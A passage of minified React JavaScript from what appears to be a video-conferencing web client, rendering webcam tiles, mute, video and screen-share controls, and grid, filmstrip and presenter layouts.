I=ei(o.a.useState(!1),2),R=I[0],L=I[1],D=function(){L(!1)};"off"===l&&h.screenShareInProgress&&R&&D();var F={margin:b},B=null;S&&S.score&&(B=S.score.reduce((function(e,t){return e.score<t.score?e:t})));var V=null;return O&&O.score&&(V=O.score.reduce((function(e,t){return e.score<t.score?e:t}))),Object(r.useEffect)((function(){var e;return w&&(e=setInterval((function(){return m.getTransportStats()}),1e3)),function(){return clearInterval(e)}}),[m,w]),Za(o.a.Fragment,{},void 0,Za("div",{className:ze()(T.root,"webcam",u?"hover":null,g?"active-speaker":null,{isScreenShareOn:_}),onMouseOver:function(){return d(!0)},onMouseOut:function(){return d(!1)},onTouchStart:function(){p&&clearTimeout(p),d(!0)},onTouchEnd:function(){p&&clearTimeout(p),p=setTimeout((function(){d(!1)}),2e3)},style:F},void 0,"mobile"!==h.browser.platform&&N&&Za("div",{className:ze()(T.ptt,"muted"===t&&h.isSpeaking?"enabled":null)},void 0,ri),Za("div",{className:ze()(T.viewContainer),style:_?null:y},void 0,"mobile"!==h.browser.platform&&!N&&Za("div",{className:ze()(T.ptt,"muted"===t&&h.isSpeaking?"enabled":null)},void 0,oi),Za("p",{className:ze()(T.meTag,u?"hover":null,N?"smallContainer":null)},void 0,ai),!v.buttonControlBar&&Za("div",{className:ze()(T.controls,v.hiddenControls?"hide":null,u?"hover":null),onMouseOver:function(){return d(!0)},onMouseOut:function(){return d(!1)},onTouchStart:function(){p&&clearTimeout(p),d(!0)},onTouchEnd:function(){p&&clearTimeout(p),p=setTimeout((function(){d(!1)}),2e3)}},void 0,Za(o.a.Fragment,{},void 0,Za(ir.a,{title:n,placement:"left"},void 0,Za("div",{},void 0,N?Za(ft.a,{"aria-label":f.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"}),className:T.smallContainer,disabled:!h.canSendMic||!k||h.audioInProgress,color:"on"===t?v.voiceActivatedUnmute?h.isAutoMuted?"secondary":"primary":"default":"secondary",size:"small",onClick:function(){"off"===t?m.updateMic({start:!0}):"on"===t?m.muteMic():m.unmuteMic()}},void 0,v.voiceActivatedUnmute?"on"===t?Za(o.a.Fragment,{},void 0,Za("svg",{style:{position:"absolute"}},void 0,Za("defs",{},void 0,Za("clipPath",{id:"cut-off-indicator"},void 0,Za("rect",{x:"0",y:"0",width:"24",height:24-2.4*E})))),Za(Ka.a,{style:{position:"absolute"},color:"default"}),Za(Ka.a,{"clip-path":"url(#cut-off-indicator)",style:{opacity:"0.6"},color:h.isAutoMuted?"primary":"default"})):ii:"on"===t?li:si):Za(sa.a,{"aria-label":f.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"}),className:T.fab,disabled:!h.canSendMic||!k||h.audioInProgress,color:"on"===t?v.voiceActivatedUnmute?h.isAutoMuted?"secondary":"primary":"default":"secondary",size:"large",onClick:function(){"off"===t?m.updateMic({start:!0}):"on"===t?m.muteMic():m.unmuteMic()}},void 0,v.voiceActivatedUnmute?"on"===t?Za(o.a.Fragment,{},void 0,Za("svg",{className:"MuiSvgIcon-root",focusable:"false","aria-hidden":"true",style:{position:"absolute"}},void 0,Za("defs",{},void 0,Za("clipPath",{id:"cut-off-indicator"},void 0,Za("rect",{x:"0",y:"0",width:"24",height:24-2.4*E})))),Za(Ka.a,{style:{position:"absolute"},color:"default"}),Za(Ka.a,{"clip-path":"url(#cut-off-indicator)",style:{opacity:"0.6"},color:h.isAutoMuted?"primary":"default"})):ci:"on"===t?ui:di))),Za(ir.a,{title:i,placement:"left"},void 0,Za("div",{},void 0,N?Za(ft.a,{"aria-label":f.formatMessage({id:"device.startVideo",defaultMessage:"Start video"}),className:T.smallContainer,disabled:!h.canSendWebcam||!P||h.webcamInProgress,color:"on"===a?"primary":"secondary",size:"small",onClick:function(){"on"===a?m.disableWebcam():m.updateWebcam({start:!0})}},void 0,"on"===a?fi:pi):Za(sa.a,{"aria-label":f.formatMessage({id:"device.startVideo",defaultMessage:"Start video"}),className:T.fab,disabled:!h.canSendWebcam||!P||h.webcamInProgress,color:"on"===a?"default":"secondary",size:"large",onClick:function(){"on"===a?m.disableWebcam():m.updateWebcam({start:!0})}},void 0,"on"===a?mi:hi))),"mobile"!==h.browser.platform&&Za(ir.a,{open:R,onClose:D,onOpen:function(){L(!0)},title:s,placement:"left"},void 0,Za("div",{},void 0,N?Za(ft.a,{"aria-label":f.formatMessage({id:"device.startScreenSharing",defaultMessage:"Start screen sharing"}),className:T.smallContainer,disabled:!x||!h.canShareScreen||h.screenShareInProgress,color:"primary",size:"small",onClick:function(){"off"===l?m.updateScreenSharing({start:!0}):"on"===l&&m.disableScreenSharing()}},void 0,vi):Za(sa.a,{"aria-label":f.formatMessage({id:"device.startScreenSharing",defaultMessage:"Start screen sharing"}),className:T.fab,disabled:!x||!h.canShareScreen||h.screenShareInProgress,color:"on"===l?"primary":"default",size:"large",onClick:function(){"off"===l?m.updateScreenSharing({start:!0}):"on"===l&&m.disableScreenSharing()}},void 0,gi))))),Za(la,{isMe:!0,isMirrored:v.mirrorOwnVideo,VideoView:!0,advancedMode:w,peer:h,displayName:v.displayName,showPeerInfo:!0,videoTrack:O&&O.track,videoVisible:j,audioCodec:S&&S.codec,videoCodec:O&&O.codec,netInfo:A&&A,audioScore:B,videoScore:V,showQuality:!0,onChangeDisplayName:function(e){m.changeDisplayName(e)}},void 0,"muted"===t?null:Za(Vr,{id:h.id})))),C.map((function(e){return Za("div",{className:ze()(T.root,"webcam",u?"hover":null,g?"active-speaker":null),onMouseOver:function(){return d(!0)},onMouseOut:function(){return d(!1)},onTouchStart:function(){p&&clearTimeout(p),d(!0)},onTouchEnd:function(){p&&clearTimeout(p),p=setTimeout((function(){d(!1)}),2e3)},style:F},e.id,Za("div",{className:T.viewContainer,style:y},void 0,Za("p",{className:ze()(T.meTag,u?"hover":null,N?"smallContainer":null)},void 0,bi),Za("div",{className:ze()(T.controls,v.hiddenControls?"hide":null,u?"hover":null),onMouseOver:function(){return d(!0)},onMouseOut:function(){return d(!1)},onTouchStart:function(){p&&clearTimeout(p),d(!0)},onTouchEnd:function(){p&&clearTimeout(p),p=setTimeout((function(){d(!1)}),2e3)}},void 0,Za(ir.a,{title:i,placement:"left"},void 0,Za("div",{},void 0,N?Za(ft.a,{"aria-label":f.formatMessage({id:"device.stopVideo",defaultMessage:"Stop video"}),className:T.smallContainer,disabled:!h.canSendWebcam||h.webcamInProgress,size:"small",color:"primary",onClick:function(){m.disableExtraVideo(e.id)}},void 0,yi):Za(sa.a,{"aria-label":f.formatMessage({id:"device.stopVideo",defaultMessage:"Stop video"}),className:T.fab,disabled:!h.canSendWebcam||h.webcamInProgress,size:N?"small":"large",onClick:function(){m.disableExtraVideo(e.id)}},void 0,wi)))),Za(la,{isMe:!0,isMirrored:v.mirrorOwnVideo,isExtraVideo:!0,advancedMode:w,peer:h,displayName:v.displayName,showPeerInfo:!0,videoTrack:e&&e.track,videoVisible:j,videoCodec:e&&e.codec,onChangeDisplayName:function(e){m.changeDisplayName(e)}})))})),M&&Za("div",{className:ze()(T.screenProducer,"screen",u?"hover":null),onMouseOver:function(){return d(!0)},onMouseOut:function(){return d(!1)},onTouchStart:function(){p&&clearTimeout(p),d(!0)},onTouchEnd:function(){p&&clearTimeout(p),p=setTimeout((function(){d(!1)}),2e3)},style:F},void 0,Za("div",{className:T.viewContainer,style:y},void 0,Za("p",{className:ze()(T.screenShareMessage,N?"smallContainer":null)},void 0,Si))))}))));function Mi(e){return(Mi="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ci(e,t,n,r){ni||(ni="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:ni,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ki(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Pi(e,t){return(Pi=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function xi(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Ti(e);if(t){var o=Ti(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Ai(this,n)}}function Ai(e,t){return!t||"object"!==Mi(t)&&"function"!=typeof t?Ei(e):t}function Ei(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Ti(e){return(Ti=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function ji(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var _i,Ni=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Pi(e,t)}(i,e);var t,n,r,a=xi(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),ji(Ei(t=a.call(this,e)),"updateDimensions",(function(){var e=t.props,n=e.boxes,r=e.aspectRatio,o=e.buttonControlBar,a=e.permanentTopBar,i=e.toolbarsVisible,l=t.peersRef.current;if(l&&0!==n){for(var s,c,u=n,d=l.clientWidth-(o?50:0),f=l.clientHeight-(i||a?64:0),p=1;p<=n;p+=1){if(f<(c=(s=d/Math.ceil(u/p))/r)*p){s=r*(c=f/p);break}if(f-c*p<c)break}Math.ceil(t.state.peerWidth)===Math.ceil(.95*s)&&Math.ceil(t.state.peerHeight)===Math.ceil(.95*c)||t.setState({peerWidth:.95*s,peerHeight:.95*c})}})),t.state={},t.resizeTimeout=null,t.peersRef=o.a.createRef(),t}return t=i,(n=[{key:"componentDidMount",value:function(){var e=this;window.addEventListener("resize",(function(){clearTimeout(e.resizeTimeout),e.resizeTimeout=setTimeout((function(){return e.updateDimensions()}),250)})),this.updateDimensions()}},{key:"componentWillUnmount",value:function(){window.removeEventListener("resize",this.updateDimensions)}},{key:"componentDidUpdate",value:function(e){e!==this.props&&this.updateDimensions()}},{key:"render",value:function(){var e=this.props,t=e.advancedMode,n=e.spotlightsPeers,r=e.toolbarsVisible,a=e.permanentTopBar,i=e.buttonControlBar,l=e.classes,s={width:this.state.peerWidth?this.state.peerWidth:0,height:this.state.peerHeight?this.state.peerHeight:0};return o.a.createElement("div",{className:ze()(l.root,r||a?l.showingToolBar:l.hiddenToolBar,i?l.buttonControlBar:null),ref:this.peersRef},Ci(Oi,{advancedMode:t,spacing:6,style:s}),n.map((function(e){return Ci(Da,{advancedMode:t,id:e,spacing:6,style:s},e)})))}}])&&ki(t.prototype,n),r&&ki(t,r),i}(o.a.PureComponent),Ii=Object(a.connect)((function(e){return{boxes:Me(e),spotlightsPeers:ve(e),toolbarsVisible:e.room.toolbarsVisible,permanentTopBar:e.settings.permanentTopBar,buttonControlBar:e.settings.buttonControlBar,toolAreaOpen:e.toolarea.toolAreaOpen,aspectRatio:e.settings.aspectRatio}}),null,null,{areStatesEqual:function(e,t){return t.peers===e.peers&&t.producers===e.producers&&t.consumers===e.consumers&&t.room.spotlights===e.room.spotlights&&t.room.toolbarsVisible===e.room.toolbarsVisible&&t.settings.permanentTopBar===e.settings.permanentTopBar&&t.settings.buttonControlBar===e.settings.buttonControlBar&&t.settings.aspectRatio===e.settings.aspectRatio&&t.toolarea.toolAreaOpen===e.toolarea.toolAreaOpen}})(Object(s.a)((function(e){return{root:{width:"100%",height:"100%",display:"flex",flexDirection:"row",flexWrap:"wrap",overflow:"hidden",justifyContent:"center",alignItems:"center",alignContent:"center"},hiddenToolBar:{paddingTop:0,transition:"padding .5s"},showingToolBar:{paddingTop:64,transition:"padding .5s"},buttonControlBar:ji({paddingLeft:50},e.breakpoints.down("sm"),{paddingLeft:0})}}),{withTheme:!0})(Ni));function Ri(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Li(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Di(e,t,n,r){_i||(_i="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:_i,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var Fi,Bi=Di("p",{},void 0,Di(w.a,{id:"room.videoPaused",defaultMessage:"This video is paused"})),Vi=Di("p",{},void 0,Di(w.a,{id:"room.videoPaused",defaultMessage:"This video is paused"})),Ui=Object(a.connect)((function(e,t){var n=t.id,r=ke();return function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ri(Object(n),!0).forEach((function(t){Li(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ri(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({peer:e.peers[n]},r(e,n))}),null,null,{areStatesEqual:function(e,t){return t.peers===e.peers&&t.consumers===e.consumers&&t.room.activeSpeakerId===e.room.activeSpeakerId}})(Object(s.a)((function(e){return{root:{flex:"0 0 auto",boxShadow:"var(--peer-shadow)",border:"var(--peer-border)",touchAction:"none",backgroundColor:"var(--peer-bg-color)",backgroundImage:"var(--peer-empty-avatar)",backgroundPosition:"bottom",backgroundSize:"auto 85%",backgroundRepeat:"no-repeat","&.webcam":{order:2},"&.screen":{order:1}},viewContainer:{position:"relative","&.webcam":{order:2},"&.screen":{order:1}},videoInfo:{position:"absolute",width:"100%",height:"100%",backgroundColor:"rgba(0, 0, 0, 0.3)",display:"flex",justifyContent:"center",alignItems:"center",padding:e.spacing(1),zIndex:21,"& p":{padding:"6px 12px",borderRadius:6,userSelect:"none",pointerEvents:"none",fontSize:20,color:"rgba(255, 255, 255, 0.55)"}}}}),{withTheme:!0})((function(e){var t=e.advancedMode,n=e.peer,r=e.micConsumer,a=e.webcamConsumer,i=e.screenConsumer,l=e.spacing,s=e.style,c=e.classes,u=Boolean(a)&&!a.locallyPaused&&!a.remotelyPaused,d=Boolean(i)&&!i.locallyPaused&&!i.remotelyPaused,f={margin:l};return Di(o.a.Fragment,{},void 0,Di("div",{className:ze()(c.root,"webcam"),style:f},void 0,Di("div",{className:ze()(c.viewContainer),style:s},void 0,!u&&Di("div",{className:c.videoInfo},void 0,Bi),Di(la,{advancedMode:t,peer:n,displayName:n.displayName,showPeerInfo:!0,consumerSpatialLayers:a?a.spatialLayers:null,consumerTemporalLayers:a?a.temporalLayers:null,consumerCurrentSpatialLayer:a?a.currentSpatialLayer:null,consumerCurrentTemporalLayer:a?a.currentTemporalLayer:null,consumerPreferredSpatialLayer:a?a.preferredSpatialLayer:null,consumerPreferredTemporalLayer:a?a.preferredTemporalLayer:null,videoMultiLayer:a&&"simple"!==a.type,videoTrack:a&&a.track,videoVisible:u,audioCodec:r&&r.codec,videoCodec:a&&a.codec,audioScore:r?r.score:null,videoScore:a?a.score:null},void 0,Di(Vr,{id:n.id})))),i&&Di("div",{className:ze()(c.root,"screen")},void 0,!d&&Di("div",{className:c.videoInfo,style:s},void 0,Vi),d&&Di("div",{className:ze()(c.viewContainer),style:s},void 0,Di(la,{advancedMode:t,videoContain:!0,consumerSpatialLayers:i?i.spatialLayers:null,consumerTemporalLayers:i?i.temporalLayers:null,consumerCurrentSpatialLayer:i?i.currentSpatialLayer:null,consumerCurrentTemporalLayer:i?i.currentTemporalLayer:null,consumerPreferredSpatialLayer:i?i.preferredSpatialLayer:null,consumerPreferredTemporalLayer:i?i.preferredTemporalLayer:null,videoMultiLayer:i&&"simple"!==i.type,videoTrack:i&&i.track,videoVisible:d,videoCodec:i&&i.codec,videoScore:i?i.score:null}))))}))),Hi=n("8113359511cd270e25e9");function zi(e){return(zi="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Wi(e,t,n,r){Fi||(Fi="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Fi,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function $i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function qi(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Yi(e,t){return(Yi=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Gi(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Ji(e);if(t){var o=Ji(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Ki(this,n)}}function Ki(e,t){return!t||"object"!==zi(t)&&"function"!=typeof t?Xi(e):t}function Xi(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Ji(e){return(Ji=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Qi(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Zi,el=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Yi(e,t)}(i,e);var t,n,r,a=Gi(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),Qi(Xi(t=a.call(this,e)),"state",{lastSpeaker:null}),Qi(Xi(t),"getActivePeerId",(function(){var e=t.props,n=e.selectedPeerId,r=e.peers,o=t.state.lastSpeaker;if(n&&r[n])return t.props.selectedPeerId;if(o&&r[o])return t.state.lastSpeaker;var a=Object.keys(r);return a.length>0?a[0]:void 0})),Qi(Xi(t),"isSharingCamera",(function(e){return t.props.peers[e]&&t.props.peers[e].consumers.some((function(e){return"screen"===t.props.consumers[e].source}))})),Qi(Xi(t),"updateDimensions",(function(){var e=t.props,n=e.toolbarsVisible,r=e.permanentTopBar,o=e.boxes,a=e.aspectRatio,i={},l=t.rootContainer.current;if(l){var s=l.clientWidth,c=.8*l.clientHeight-(n||r?64:0),u=.2*l.clientHeight;if(t.activePeerContainer.current){var d=s,f=d/a;t.isSharingCamera(t.getActivePeerId())&&(f=(d/=2)/a),f>c&&(d=(f=c)*a),i.speakerWidth=d,i.speakerHeight=f}if(t.filmStripContainer.current){var p=u-0,m=p*a;m*o>s-10&&(p=(m=(s-10)/o)/a),i.filmStripWidth=.95*m,i.filmStripHeight=.95*p}t.setState(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$i(Object(n),!0).forEach((function(t){Qi(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$i(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},i))}})),t.resizeTimeout=null,t.rootContainer=o.a.createRef(),t.activePeerContainer=o.a.createRef(),t.filmStripContainer=o.a.createRef(),t}return t=i,(n=[{key:"componentDidMount",value:function(){var e=this;window.addEventListener("resize",(function(){clearTimeout(e.resizeTimeout),e.resizeTimeout=setTimeout((function(){return e.updateDimensions()}),250)})),this.updateDimensions()}},{key:"componentWillUnmount",value:function(){window.removeEventListener("resize",this.updateDimensions)}},{key:"componentDidUpdate",value:function(e){e!==this.props&&(null!=this.props.activeSpeakerId&&this.props.activeSpeakerId!==this.props.myId&&this.setState({lastSpeaker:this.props.activeSpeakerId}),this.updateDimensions())}},{key:"render",value:function(){var e=this,t=this.props,n=t.peers,r=t.myId,a=t.advancedMode,i=t.spotlights,l=t.toolbarsVisible,s=t.permanentTopBar,c=t.classes,u=this.getActivePeerId(),d={width:this.state.speakerWidth,height:this.state.speakerHeight},f={width:this.state.filmStripWidth,height:this.state.filmStripHeight};return o.a.createElement("div",{className:ze()(c.root,l||s?c.showingToolBar:c.hiddenToolBar),ref:this.rootContainer},o.a.createElement("div",{className:c.speaker,ref:this.activePeerContainer},n[u]&&Wi(Ui,{advancedMode:a,id:u,style:d})),o.a.createElement("div",{className:c.filmStrip,ref:this.filmStripContainer},Wi(Hi.a,{container:!0,justify:"center",spacing:0},void 0,Wi(Hi.a,{item:!0},void 0,Wi("div",{className:ze()(c.filmItem,{active:r===u})},void 0,Wi(Oi,{advancedMode:a,style:f,smallContainer:!0}))),Object.keys(n).map((function(t){return i.find((function(e){return e===t}))?Wi(Hi.a,{item:!0},t,Wi("div",{className:ze()(c.filmItem,{selected:e.props.selectedPeerId===t,active:t===u})},t,Wi(Da,{advancedMode:a,id:t,style:f,smallContainer:!0}))):""})))))}}])&&qi(t.prototype,n),r&&qi(t,r),i}(o.a.PureComponent),tl=Object(Ne.b)(Object(a.connect)((function(e){return{activeSpeakerId:e.room.activeSpeakerId,selectedPeerId:e.room.selectedPeerId,peers:e.peers,consumers:e.consumers,myId:e.me.id,spotlights:e.room.spotlights,boxes:Me(e),toolbarsVisible:e.room.toolbarsVisible,toolAreaOpen:e.toolarea.toolAreaOpen,aspectRatio:e.settings.aspectRatio,permanentTopBar:e.settings.permanentTopBar}}),null,null,{areStatesEqual:function(e,t){return t.room.activeSpeakerId===e.room.activeSpeakerId&&t.room.selectedPeerId===e.room.selectedPeerId&&t.room.toolbarsVisible===e.room.toolbarsVisible&&t.toolarea.toolAreaOpen===e.toolarea.toolAreaOpen&&t.settings.permanentTopBar===e.settings.permanentTopBar&&t.settings.aspectRatio===e.settings.aspectRatio&&t.peers===e.peers&&t.consumers===e.consumers&&t.room.spotlights===e.room.spotlights&&t.me.id===e.me.id}})(Object(s.a)((function(){return{root:{height:"100%",width:"100%",display:"grid",overflow:"hidden",gridTemplateColumns:"1fr",gridTemplateRows:"1fr 0.25fr"},speaker:{gridArea:"1 / 1 / 1 / 1",display:"flex",justifyContent:"center",alignItems:"center"},filmStrip:{gridArea:"2 / 1 / 2 / 1"},filmItem:{display:"flex",border:"var(--peer-border)","&.selected":{borderColor:"var(--selected-peer-border-color)"},"&.active":{borderColor:"var(--selected-peer-border-color)"}},hiddenToolBar:{paddingTop:0,transition:"padding .5s"},showingToolBar:{paddingTop:64,transition:"padding .5s"}}}))(el)));function nl(e){return(nl="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function rl(e,t,n,r){Zi||(Zi="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Zi,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ol(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function al(e,t){return(al=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function il(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=cl(e);if(t){var o=cl(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return ll(this,n)}}function ll(e,t){return!t||"object"!==nl(t)&&"function"!=typeof t?sl(e):t}function sl(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function cl(e){return(cl=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function ul(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var dl=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&al(e,t)}(i,e);var t,n,r,a=il(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),ul(sl(t=a.call(this,e)),"updateDimensions",(function(){var e=t.props,n=e.boxes,r=e.aspectRatio,o=(e.buttonControlBar,e.permanentTopBar,e.toolbarsVisible,t.peersRef.current);if(console.log(n),o&&0!==n){for(var a,i,l=n,s=o.clientWidth-0,c=o.clientHeight-0,u=1;u<=n;u+=1){if(c<(i=(a=s/Math.ceil(l/u))/r)*u){a=r*(i=c/u);break}if(c-i*u<i)break}Math.ceil(t.state.peerWidth)===Math.ceil(.95*a)&&Math.ceil(t.state.peerHeight)===Math.ceil(.95*i)||t.setState({peerWidth:.95*a,peerHeight:.95*i})}})),t.state={},t.resizeTimeout=null,t.peersRef=o.a.createRef(),t}return t=i,(n=[{key:"componentDidMount",value:function(){var e=this;window.addEventListener("resize",(function(){clearTimeout(e.resizeTimeout),e.resizeTimeout=setTimeout((function(){return e.updateDimensions()}),250)})),this.updateDimensions()}},{key:"componentWillUnmount",value:function(){window.removeEventListener("resize",this.updateDimensions)}},{key:"componentDidUpdate",value:function(e){e!==this.props&&this.updateDimensions()}},{key:"render",value:function(){var e=this.props,t=e.advancedMode,n=e.spotlightsPeers,r=e.toolbarsVisible,a=e.permanentTopBar,i=e.buttonControlBar,l=e.classes,s=e.me,c=e.peers,u={width:this.state.peerWidth?this.state.peerWidth:0,height:this.state.peerHeight?this.state.peerHeight:0};return o.a.createElement("div",{className:ze()(l.root,r||a?l.showingToolBar:l.hiddenToolBar,i?l.buttonControlBar:null),ref:this.peersRef},s.isPresenter&&rl(Oi,{advancedMode:t,spacing:6,style:u}),n.map((function(e){return c[e].roles&&c[e].roles.length>1&&rl(Da,{advancedMode:t,id:e,spacing:6,style:u},e)})))}}])&&ol(t.prototype,n),r&&ol(t,r),i}(o.a.PureComponent),fl=Object(a.connect)((function(e){return{boxes:Me(e),spotlightsPeers:ve(e),toolbarsVisible:e.room.toolbarsVisible,permanentTopBar:e.settings.permanentTopBar,buttonControlBar:e.settings.buttonControlBar,toolAreaOpen:e.toolarea.toolAreaOpen,aspectRatio:e.settings.aspectRatio,me:e.me,peers:e.peers}}),null,null,{areStatesEqual:function(e,t){return t.peers===e.peers&&t.producers===e.producers&&t.consumers===e.consumers&&t.room.spotlights===e.room.spotlights&&t.room.toolbarsVisible===e.room.toolbarsVisible&&t.settings.permanentTopBar===e.settings.permanentTopBar&&t.settings.buttonControlBar===e.settings.buttonControlBar&&t.settings.aspectRatio===e.settings.aspectRatio&&t.toolarea.toolAreaOpen===e.toolarea.toolAreaOpen}})(Object(s.a)((function(e){return{root:{width:"100%",height:"calc(100vh - 64px - 64px)",display:"flex",flexDirection:"row",flexWrap:"wrap",overflow:"hidden",justifyContent:"center",alignItems:"center",alignContent:"center",position:"relative"},hiddenToolBar:{paddingTop:0,transition:"padding .5s"},showingToolBar:{paddingTop:0,transition:"padding .5s"},buttonControlBar:ul({paddingLeft:0},e.breakpoints.down("sm"),{paddingLeft:0})}}),{withTheme:!0})(dl));function pl(e){return(pl="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function ml(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function hl(e,t){return(hl=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function vl(e){var 